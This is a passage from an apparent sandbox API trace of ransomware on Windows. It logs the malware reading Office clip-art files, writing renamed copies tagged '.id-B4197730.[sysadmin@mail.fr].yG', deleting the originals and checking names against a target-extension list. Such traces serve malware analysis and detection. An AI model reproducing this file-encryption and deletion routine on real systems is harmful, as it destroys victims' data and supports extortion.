	[0052.288] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=10832) returned 1
	[0052.288] CloseHandle (hObject=0x398) returned 1
	[0052.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220
	[0052.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.289] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.289] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0052.289] GetLastError () returned 0x0
	[0052.289] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x2a50, lpOverlapped=0x0) returned 1
	[0052.404] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2a60, lpOverlapped=0x0) returned 1
	[0052.405] ReadFile (in: hFile=0x398, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.405] WriteFile (in: hFile=0x2e0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.405] SetEndOfFile (hFile=0x2e0) returned 1
	[0052.405] CloseHandle (hObject=0x2e0) returned 1
	[0052.406] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.406] SetEndOfFile (hFile=0x398) returned 1
	[0052.406] CloseHandle (hObject=0x398) returned 1
	[0052.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1
	[0052.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0052.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0052.409] lstrlenW (lpString=".doc") returned 4
	[0052.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.409] lstrlenW (lpString=".docx") returned 5
	[0052.409] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.409] lstrlenW (lpString=".pdf") returned 4
	[0052.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.409] lstrlenW (lpString=".xls") returned 4
	[0052.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.409] lstrlenW (lpString=".xlsx") returned 5
	[0052.409] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.409] lstrlenW (lpString=".ppt") returned 4
	[0052.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0052.409] lstrlenW (lpString=".zip") returned 4
	[0052.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.409] lstrlenW (lpString=".rar") returned 4
	[0052.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.409] lstrlenW (lpString=".bz2") returned 4
	[0052.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.409] lstrlenW (lpString=".7z") returned 3
	[0052.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0052.409] lstrlenW (lpString=".dbf") returned 4
	[0052.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0052.409] lstrlenW (lpString=".1cd") returned 4
	[0052.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0052.409] lstrlenW (lpString=".jpg") returned 4
	[0052.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0052.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0052.410] lstrlenW (lpString=".doc") returned 4
	[0052.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.410] lstrlenW (lpString=".docx") returned 5
	[0052.410] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.410] lstrlenW (lpString=".pdf") returned 4
	[0052.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.410] lstrlenW (lpString=".xls") returned 4
	[0052.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.410] lstrlenW (lpString=".xlsx") returned 5
	[0052.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.410] lstrlenW (lpString=".ppt") returned 4
	[0052.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0052.410] lstrlenW (lpString=".zip") returned 4
	[0052.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.410] lstrlenW (lpString=".rar") returned 4
	[0052.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.410] lstrlenW (lpString=".bz2") returned 4
	[0052.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.410] lstrlenW (lpString=".7z") returned 3
	[0052.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0052.410] lstrlenW (lpString=".dbf") returned 4
	[0052.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0052.410] lstrlenW (lpString=".1cd") returned 4
	[0052.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68
	[0052.410] lstrlenW (lpString=".jpg") returned 4
	[0052.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.410] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.410] lstrlenW (lpString="AN01060_.WMF") returned 12
	[0052.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.411] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=7968) returned 1
	[0052.411] CloseHandle (hObject=0x398) returned 1
	[0052.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220
	[0052.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0052.412] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.412] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0052.415] GetLastError () returned 0x0
	[0052.415] ReadFile (in: hFile=0x2e0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x1f20, lpOverlapped=0x0) returned 1
	[0052.446] WriteFile (in: hFile=0x394, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1f30, lpOverlapped=0x0) returned 1
	[0052.447] ReadFile (in: hFile=0x2e0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.447] WriteFile (in: hFile=0x394, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.447] SetEndOfFile (hFile=0x394) returned 1
	[0052.774] CloseHandle (hObject=0x394) returned 1
	[0052.775] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.775] SetEndOfFile (hFile=0x2e0) returned 1
	[0052.776] CloseHandle (hObject=0x2e0) returned 1
	[0052.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1
	[0052.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0052.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0052.777] lstrlenW (lpString=".doc") returned 4
	[0052.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.777] lstrlenW (lpString=".docx") returned 5
	[0052.777] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.777] lstrlenW (lpString=".pdf") returned 4
	[0052.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.777] lstrlenW (lpString=".xls") returned 4
	[0052.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.777] lstrlenW (lpString=".xlsx") returned 5
	[0052.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.777] lstrlenW (lpString=".ppt") returned 4
	[0052.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0052.777] lstrlenW (lpString=".zip") returned 4
	[0052.777] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.777] lstrlenW (lpString=".rar") returned 4
	[0052.777] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.777] lstrlenW (lpString=".bz2") returned 4
	[0052.777] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.777] lstrlenW (lpString=".7z") returned 3
	[0052.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0052.777] lstrlenW (lpString=".dbf") returned 4
	[0052.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0052.777] lstrlenW (lpString=".1cd") returned 4
	[0052.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0052.777] lstrlenW (lpString=".jpg") returned 4
	[0052.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0052.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0052.778] lstrlenW (lpString=".doc") returned 4
	[0052.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.778] lstrlenW (lpString=".docx") returned 5
	[0052.778] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.778] lstrlenW (lpString=".pdf") returned 4
	[0052.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.778] lstrlenW (lpString=".xls") returned 4
	[0052.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.778] lstrlenW (lpString=".xlsx") returned 5
	[0052.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.778] lstrlenW (lpString=".ppt") returned 4
	[0052.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0052.778] lstrlenW (lpString=".zip") returned 4
	[0052.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.778] lstrlenW (lpString=".rar") returned 4
	[0052.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.778] lstrlenW (lpString=".bz2") returned 4
	[0052.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.778] lstrlenW (lpString=".7z") returned 3
	[0052.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0052.778] lstrlenW (lpString=".dbf") returned 4
	[0052.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0052.778] lstrlenW (lpString=".1cd") returned 4
	[0052.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0052.778] lstrlenW (lpString=".jpg") returned 4
	[0052.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.778] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.778] lstrlenW (lpString="AN01251_.WMF") returned 12
	[0052.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0052.779] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=2756) returned 1
	[0052.779] CloseHandle (hObject=0x2e0) returned 1
	[0052.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220
	[0052.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0052.779] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.779] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0052.779] GetLastError () returned 0x0
	[0052.779] ReadFile (in: hFile=0x2e0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xac4, lpOverlapped=0x0) returned 1
	[0052.780] WriteFile (in: hFile=0x394, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xad0, lpOverlapped=0x0) returned 1
	[0052.781] ReadFile (in: hFile=0x2e0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.781] WriteFile (in: hFile=0x394, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.781] SetEndOfFile (hFile=0x394) returned 1
	[0052.781] CloseHandle (hObject=0x394) returned 1
	[0052.782] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.782] SetEndOfFile (hFile=0x2e0) returned 1
	[0052.783] CloseHandle (hObject=0x2e0) returned 1
	[0052.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1
	[0052.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0052.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0052.783] lstrlenW (lpString=".doc") returned 4
	[0052.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.783] lstrlenW (lpString=".docx") returned 5
	[0052.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.783] lstrlenW (lpString=".pdf") returned 4
	[0052.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.783] lstrlenW (lpString=".xls") returned 4
	[0052.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.783] lstrlenW (lpString=".xlsx") returned 5
	[0052.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.784] lstrlenW (lpString=".ppt") returned 4
	[0052.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0052.784] lstrlenW (lpString=".zip") returned 4
	[0052.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.784] lstrlenW (lpString=".rar") returned 4
	[0052.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.784] lstrlenW (lpString=".bz2") returned 4
	[0052.784] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.784] lstrlenW (lpString=".7z") returned 3
	[0052.784] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0052.784] lstrlenW (lpString=".dbf") returned 4
	[0052.784] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0052.784] lstrlenW (lpString=".1cd") returned 4
	[0052.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0052.784] lstrlenW (lpString=".jpg") returned 4
	[0052.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0052.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0052.784] lstrlenW (lpString=".doc") returned 4
	[0052.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.784] lstrlenW (lpString=".docx") returned 5
	[0052.784] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.784] lstrlenW (lpString=".pdf") returned 4
	[0052.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.784] lstrlenW (lpString=".xls") returned 4
	[0052.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.784] lstrlenW (lpString=".xlsx") returned 5
	[0052.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.784] lstrlenW (lpString=".ppt") returned 4
	[0052.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0052.784] lstrlenW (lpString=".zip") returned 4
	[0052.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.785] lstrlenW (lpString=".rar") returned 4
	[0052.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.785] lstrlenW (lpString=".bz2") returned 4
	[0052.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.785] lstrlenW (lpString=".7z") returned 3
	[0052.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0052.785] lstrlenW (lpString=".dbf") returned 4
	[0052.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0052.785] lstrlenW (lpString=".1cd") returned 4
	[0052.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68
	[0052.785] lstrlenW (lpString=".jpg") returned 4
	[0052.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.785] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.785] lstrlenW (lpString="AN01545_.WMF") returned 12
